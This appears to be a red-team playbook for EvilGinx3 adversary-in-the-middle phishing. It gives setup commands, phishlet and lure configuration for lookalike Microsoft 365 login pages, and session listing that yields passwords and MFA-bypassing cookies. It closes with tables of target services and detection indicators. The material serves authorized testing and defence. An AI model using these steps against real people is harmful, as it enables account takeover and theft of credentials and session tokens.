Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.
EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets
config domain example-phish.com
config ipv4 <server-ip>
phishlets hostname o365 login.example-phish.com
phishlets enable o365
phishlets
lures create o365
lures get-url 0
lures edit 0 redirect_url https://legitimate-site.com
# Integration with EvilGoPhish for combined campaigns
# Provides GoPhish email tracking + EvilGinx3 credential capture
sessions
sessions <session-id>
# Session output includes:
# - Username and password
# - Session cookies (authentication tokens)
# - Custom captured parameters
| Tool | Purpose | Platform |
|---|---|---|
| EvilGinx3 | AiTM phishing framework | Linux |
| GoPhish | Phishing campaign management | Cross-platform |
| EvilGoPhish | Combined EvilGinx3 + GoPhish integration | Linux |
| Cookie-Editor | Browser cookie import/export | Browser Extension |
| Modlishka | Alternative AiTM proxy framework | Linux |
| Muraena | Alternative AiTM phishing proxy | Linux |
| Target Service | Phishlet | Captured Data |
|---|---|---|
| Microsoft 365 | o365 | Session cookies, credentials |
| Google Workspace | Session cookies, credentials | |
| Okta | okta | Session tokens, credentials |
| GitHub | github | Session cookies, credentials |
| AWS Console | aws | Session tokens, credentials |
| Indicator | Detection Method |
|---|---|
| Newly registered lookalike domains | Domain monitoring and certificate transparency logs |
| SSL certificates for suspicious domains | CT log monitoring (crt.sh, Censys) |
| Unusual login locations after phishing | SIEM correlation of authentication events |
| Session cookie replay from different IP | Conditional access policy alerts |
| AiTM proxy headers in traffic | Network inspection for proxy artifacts |